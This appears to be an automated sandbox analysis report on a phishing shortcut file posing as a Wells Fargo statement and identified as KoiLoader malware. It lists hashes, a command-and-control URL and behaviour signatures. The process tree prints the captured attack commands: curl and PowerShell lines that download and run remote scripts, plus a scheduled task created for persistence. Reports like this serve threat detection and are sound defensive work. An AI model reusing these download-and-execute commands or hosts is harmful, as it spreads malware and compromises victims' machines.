Analysis
-
max time kernel
93s -
max time network
124s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
24-05-2024 18:05
Static task
static1
General
-
Target
wells_fargo_statement.lnk
-
Size
2KB
-
MD5
17b5bc02890b72e8c438da653880f57e
-
SHA1
133b89d4737e8821a3e8a6254936b19561b1cbe1
-
SHA256
6be65b07c98affa804a965187dafb49078cec03bc6f8a772e330d1a0fb05c101
-
SHA512
19053344692d6275345040c27d5a3abfaf8284902c7ae2d2ddee37d7bb883cebe27bf66fb85f93e416be65afcbd9ae2b9bde66966c1036402a0315508bf2164a
Malware Config
Extracted
koiloader
http://79.124.78.45/hockamore.php
-
payload_url
https://rdccob.com.br/wp-content/uploads/2021
Signatures
-
Detects KoiLoader payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/3444-38-0x0000000007580000-0x000000000758D000-memory.dmp family_koi_loader -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exepowershell.exeflow pid process 25 3284 powershell.exe 32 3444 powershell.exe -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exewscript.EXEwscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation wscript.EXE Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation wscript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 3284 powershell.exe 3284 powershell.exe 3444 powershell.exe 3444 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3284 powershell.exe Token: SeDebugPrivilege 3444 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
cmd.execmd.exewscript.EXEpowershell.exewscript.exedescription pid process target process PID 4080 wrote to memory of 4840 4080 cmd.exe cmd.exe PID 4080 wrote to memory of 4840 4080 cmd.exe cmd.exe PID 4840 wrote to memory of 1412 4840 cmd.exe curl.exe PID 4840 wrote to memory of 1412 4840 cmd.exe curl.exe PID 4840 wrote to memory of 4388 4840 cmd.exe schtasks.exe PID 4840 wrote to memory of 4388 4840 cmd.exe schtasks.exe PID 2432 wrote to memory of 3284 2432 wscript.EXE powershell.exe PID 2432 wrote to memory of 3284 2432 wscript.EXE powershell.exe PID 3284 wrote to memory of 2852 3284 powershell.exe schtasks.exe PID 3284 wrote to memory of 2852 3284 powershell.exe schtasks.exe PID 3284 wrote to memory of 4892 3284 powershell.exe wscript.exe PID 3284 wrote to memory of 4892 3284 powershell.exe wscript.exe PID 4892 wrote to memory of 3444 4892 wscript.exe powershell.exe PID 4892 wrote to memory of 3444 4892 wscript.exe powershell.exe PID 4892 wrote to memory of 3444 4892 wscript.exe powershell.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\wells_fargo_statement.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4080 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c curl -s -v -o TBV2cg6yO4vs.js "https://rdccob.com.br/wp-content/uploads/2021/ranselUyl.php" & schtasks /create /f /sc minute /mo 1 /tr "wscript 'C:\Users\Admin\AppData\Local\Temp\TBV2cg6yO4vs.js' yGJI1qOC9MTt4Dn" /tn yGJI1qOC9MTt4Dn2⤵
- Suspicious use of WriteProcessMemory
PID:4840 -
C:\Windows\system32\curl.execurl -s -v -o TBV2cg6yO4vs.js "https://rdccob.com.br/wp-content/uploads/2021/ranselUyl.php"3⤵PID:1412
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 1 /tr "wscript 'C:\Users\Admin\AppData\Local\Temp\TBV2cg6yO4vs.js' yGJI1qOC9MTt4Dn" /tn yGJI1qOC9MTt4Dn3⤵
- Creates scheduled task(s)
PID:4388
-
C:\Windows\system32\wscript.EXEC:\Windows\system32\wscript.EXE "C:\Users\Admin\AppData\Local\Temp\TBV2cg6yO4vs.js" yGJI1qOC9MTt4Dn1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2432 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -com "IWR -useba 'https://rdccob.com.br/wp-content/uploads/2021/methodistsqiP8.php' -outf $env:tmp\TQRZM5WDXQKY.js; schtasks /delete /tn yGJI1qOC9MTt4Dn /f; wscript $env:tmp\TQRZM5WDXQKY.js "2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3284 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /delete /tn yGJI1qOC9MTt4Dn /f3⤵PID:2852
-
C:\Windows\system32\wscript.exe"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\TQRZM5WDXQKY.js3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4892 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$env:paths = '7z2N3Q8Q5MBN'; IEX(IWR -UseBasicParsing 'https://rdccob.com.br/wp-content/uploads/2021/micromeliazD.ps1'); $vv.SetValue($null, $true); IEX(IWR -UseBasicParsing 'https://rdccob.com.br/wp-content/uploads/2021/wispierVCh.ps1')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3444
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD539f86cb56bdcbab9f5d300114d95bdb4
SHA1af834cc05a94f9059466ebe84c6ac71719956bea
SHA25683cdf3eba86fb377b354b132ea1d513112039573bed6da5ee3df333eb3f5f9b8
SHA512bdb65ead652ac5254f015ff9da860e4a6ca7025ee1682af40faac9e9238f31a7b068518a3439efabefc6994aa29706a5f469159908090739528372aae7e118f6
-
C:\Users\Admin\AppData\Local\Temp\TBV2cg6yO4vs.jsFilesize
321B
MD540b02291ce6b18d93eeebe95219a360f
SHA12bf4fcb41d5bcba11697b5d477898d8ac05ac9f0
SHA256ffc1932b8ba8f23c15f4d9a0b38dbdc30259b313dc1fe97e80b676f9818ec19e
SHA51209cf2dd7691a0a6740f691410a3674c0e77dc7b1769cd477ecb552b5f80cb8552508e1266ffe4db770ce0f8dc46a3a6a685222be1af32ba022c36e3fcdd3d850
-
C:\Users\Admin\AppData\Local\Temp\TQRZM5WDXQKY.jsFilesize
1KB
MD53a79598148b2a1fbb7f250700e2806f2
SHA1834da13365c9e84feb483401d81efdf2d3085d36
SHA25679500e6da45bdcc1a7ab61ddb9c9e23f3a4d527ffd8470ce8386245b4a7d71e5
SHA512a9be76c4f4289df97fd5220cd1422abee1a1f9058ca0d49691d0f28f205455a65829aa9008f6867b828506333c4645276c90849451bb1584ac67e21f3832f01c
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hw24yy1l.omq.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/3284-11-0x0000021C75D70000-0x0000021C75D92000-memory.dmpFilesize
136KB
-
memory/3444-21-0x0000000005650000-0x00000000056B6000-memory.dmpFilesize
408KB
-
memory/3444-19-0x0000000004EE0000-0x0000000004F02000-memory.dmpFilesize
136KB
-
memory/3444-20-0x00000000055E0000-0x0000000005646000-memory.dmpFilesize
408KB
-
memory/3444-18-0x0000000004FB0000-0x00000000055D8000-memory.dmpFilesize
6.2MB
-
memory/3444-31-0x0000000005830000-0x0000000005B84000-memory.dmpFilesize
3.3MB
-
memory/3444-17-0x0000000004900000-0x0000000004936000-memory.dmpFilesize
216KB
-
memory/3444-33-0x0000000005E90000-0x0000000005EAE000-memory.dmpFilesize
120KB
-
memory/3444-34-0x0000000005F20000-0x0000000005F6C000-memory.dmpFilesize
304KB
-
memory/3444-35-0x00000000077B0000-0x0000000007E2A000-memory.dmpFilesize
6.5MB
-
memory/3444-36-0x00000000063B0000-0x00000000063CA000-memory.dmpFilesize
104KB
-
memory/3444-37-0x0000000007560000-0x0000000007561000-memory.dmpFilesize
4KB
-
memory/3444-38-0x0000000007580000-0x000000000758D000-memory.dmpFilesize
52KB